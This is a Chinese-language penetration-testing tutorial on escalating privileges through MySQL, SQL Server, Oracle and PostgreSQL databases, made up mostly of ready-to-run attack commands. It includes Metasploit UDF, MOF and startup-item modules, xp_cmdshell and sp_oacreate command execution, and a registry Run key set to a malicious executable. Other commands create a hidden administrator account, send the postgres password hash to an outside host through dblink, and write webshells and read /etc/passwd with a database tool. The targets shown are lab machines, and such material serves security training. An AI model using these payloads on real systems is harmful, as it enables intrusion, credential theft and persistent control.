数据库提权
https://mp.weixin.qq.com/s/saTKb2YiAeLEvN94weIKZw
https://www.freebuf.com/articles/web/264790.html
https://mp.weixin.qq.com/s/ntyKMxaNZB1kexAwWleh8g
Mysql数据库提权
在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,除 Access 数据库外,其他数据库基本都存在数据库提权的可能。当然这里也是主要介绍MySQL数据库的提权

Mysql数据库前提条件
1
2
3
4
5
|
root权限
secure_file_priv不为Null
网站目录可写
知道网站路径
知道数据库账号密码(SQL注入获取账号密码,网站备份文件或配置文件,爆破)
|
如在PHPstudy中mysql安装目录下的user.MYD文件下存储着管理员密码


Windows下-UDF提权
udf(user-defined-function)是mysql得一个拓展接口,也称为用户自定义函数,用户通过自定义函数来实现在mysql中无法方便实现得功能当攻击者已知root账号和密码,就可以利用root权限,创建带有调用cmd函数的“udf.dll”。当我们把udf.dll导出指定文件夹引入mysql时候,其中的调用函数拿出来当作mysql函数来使用
- MySQL版本小于5.1的时候,windows2003的udf.dll文件放置在:c:\windows\system32。windows2000的udf.dll文件放置在:c:\winnt\system32。
- MySQL版本大于5.1的时候,udf.dll文件必须放置在MySQL安装目录下的lib\plugin,但是大于5.1版本的时候没有plugin这个文件夹,需要自己创建
设置数据库Root外联
Mysql数据库中默认root用户权限都不可以外联,需要在连接上后通过执行命令来添加外部联权限
这里看一下外连数据库情况,可以看到这里是无法连接的,原因就是root未开启外联

通过Webshell外联数据库,这里通过哥斯拉的数据库管理进行外联,也可以使用php大马进行连接

1
2
3
|
//开启数据库root外联
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
GRANT ALL ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
|

提权
1
2
|
select version(); #获取数据库版本信息,通过获取数据的版本来确定后面将dll导出的位置
select @@basedir ##获取数据库安装位置
|

查看到Mysql安装路径,到路径下查看是否存在plugin文件夹,没有则手动创建一个
当secure-file-priv为NULL的时候,直接就放弃吧,不要提权了,这里其实是可以提权的,但是最关键的是需要动数据库的配置,以及重启数据库,这个肯定会使得别人数据库产生问题
1
|
show global variables like '%secure%'; 查看secure_file_priv状态
|
使用MSF的Mysql UDF提权模块
1
2
3
4
5
|
use exploit/multi/mysql/mysql_udf_payload
show options
set username root
set rhost 192.168.x.x
set password root
|
这里直接无法攻击成功,由于secure_file_priv为Null

修改secure_file_priv的值,必须要重启数据库
- windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
- linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =

1
2
|
此时攻击成功,查询dll文件
select * from mysql.func
|

之前提到的,是没有这个函数的,默认的是无回显的,所以可以手动创建一个有回显的函数,这里一定要和你的dll文件名称是一致的,这里我的是CxyZMFgd.dll,不代表你的也是这个,所以命令复制的时候需要修改一下后面的这个dll文件的名称
1
2
|
create function sys_eval returns string soname "uKoEaaGi.dll"; ##创建函数
drop function sys_eval; ##删除函数,这里是为了执行完后,方便删除记录。
|

1
|
select sys_eval('whoami');
|

MOF提权
现在通过mof文件来进行提权已经非常困难了,因为它支持提权版本只有2003和一些之前的版本。mof的提权原理为mof文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。
1
|
use exploit/windows/mysql/mysql_mof //使用MSF自带的mof提权模块
|
mysql启动项提权
就是写一个木马到Windows启动项目录下,需要配合服务器重启才能成功,前提需要开启root用户外联
1
2
3
4
|
use exploit/windows/mysql/mysql_start_up //使用MSF自带的mof提权模块
set rhost
set username
set password
|
SqlServer提权
https://blog.csdn.net/zhzx123aa/article/details/146362888
https://www.cnblogs.com/suv789/p/18700276
https://www.cnblogs.com/hellobao/articles/17249842.html
XP_cmdshell提权
原理:xp_cmdshell可以让系统管理员以操作cmd的方式执行给定的命令,并以文本方式返回输出,是一个功能非常强大的扩展存储过程。xp_cmdshell在SQLserver2000中默认开启,可以直接执行系统命令。2005本身及之后的版本默认禁止,所以想要使用,就需要拥有SA账号相应权限,使用sp_configure将其开启。
利用条件:
- 拿到sqlserver数据库sa权限
- sqlserver服务未降权
1
2
3
4
5
6
7
8
|
//xp_cmdshell在sqlserver高版本中是默认禁用的,下面是开启命令
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami'; //利用xp_cmdshell执行系统命令
|
sp_oacreate提权
sp_oacreate用于创建OLE自动化对象实例,搭配sp_oamethod可以调用系统组件(如WScript.Shell)执行命令。
使用前提:需要SA权限,默认情况下此功能可用。
1
2
3
4
|
DECLARE @shell INT;
EXEC sp_oacreate 'WScript.Shell', @shell OUTPUT;
EXEC sp_oamethod @shell, 'Run', NULL, 'cmd.exe /c whoami > C:\result.txt';
EXEC sp_oadestroy @shell;
|
沙盒提权xp_regwrite
- 功能:
xp_regwrite允许修改Windows注册表。
- 提权用途:通过更改注册表,攻击者可以启用禁用功能、添加启动项或修改系统配置以实现提权。
- 使用前提:需要SA权限。
1
2
3
|
EXEC xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows\CurrentVersion\Run', @value_name='Test', @type='REG_SZ', @value='C:\malicious.exe';
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
|
然后利用sql语句添加一个帐号和密码都为sql$的帐号,同时加入管理员组进行提权:
创建账户+添加到管理员组:
1
2
|
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
|
Oracle数据库提权
https://mp.weixin.qq.com/s/yOe9VtbV4Hw4NZyj95YPDA
https://www.shuzhiduo.com/A/pRdBPVMaJn/
Oracle数据库有3种提权模式,普通模式/DBA模式/注入模式,可以直接使用脚本一把梭

PostgreSQL数据库提权
https://mp.weixin.qq.com/s/6wPc5eJACcmhVZ-yFMxrYA
CVE-2018-1058
PostgreSQL 是一个功能强大的开源关系型数据库系统。在9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下可能执行普通用户创建的恶意代码,从而造成意外的操作。
Navicat连接数据库vulhub:vulhub
1
2
3
4
|
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=192.168.139.41 port=5433 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
|

在靶机中执行
1
2
3
|
docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub
即可导出vulhub用户的hash
|
CVE-2019-9193
影响版本:PostgreSQL v9.3-v11
使用postgres:postgres默认密码连接数据库
1
2
|
//执行以下命令
DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'id';SELECT * FROM cmd_exec;
|

数据库利用工具
MDUT
下载地址:https://github.com/SafeGroceryStore/MDUT
使用指南:MDUT
Mysql UDF提权

PostgreSQL只支持CVE-2019-9193提权

OracleShell—Oracle数据库命令执行工具
下载地址:https://github.com/jas502n/oracleShell

下载地址:https://github.com/Hel10-Web/Databasetools
Mysql
1
2
3
4
|
DatabaseTools_windows_amd64.exe -h //命令行工具,不是图形化工具
//获取SQL Shell
DatabaseTools_windows_amd64.exe -mysql -ruser root -rhost 192.168.139.148 -pwd "root" -rport 3306 -cli
|

into out file获取webshell
1
|
DatabaseTools_windows_amd64.exe -mysql -ruser root -rhost 192.168.139.148 -pwd "root" -rport 3306 -shell -outfileshell -path "C:\\\\phpStudy\\\\WWW\\\\\aaa.php"
|
全局日志getshell
1
|
DatabaseTools_windows_amd64.exe -mysql -ruser root -rhost 192.168.139.148 -pwd "root" -rport 3306 -shell -generallog -path C:\\\\phpStudy\\\\WWW\\\\aam.php
|
udf提权
1
|
DatabaseTools_windows_amd64.exe -mysql -ruser root -rhost 192.168.139.148 -pwd "root" -rport 3306 -udf
|
PostgreSQL
连接postgre数据库获取sql shell
1
|
DatabaseTools_windows_amd64.exe -postgre -ruser "postgres" -pwd "postgres" -rhost 192.168.111.162 -rport "5432" -cli
|
利用CVE-2019-9193循环执行命令
1
2
3
|
DatabaseTools_windows_amd64.exe -postgre -ruser "postgres" -pwd "postgres" -rhost 192.168.111.139 -rport "5432" -CVE20199193 -console
读取文件
DatabaseTools_windows_amd64.exe -postgre -ruser "postgres" -pwd "postgres" -rhost 192.168.111.139 -rport "5432" -read1 -file "/etc/passwd"
|
…其它利用命令可以去项目地址查看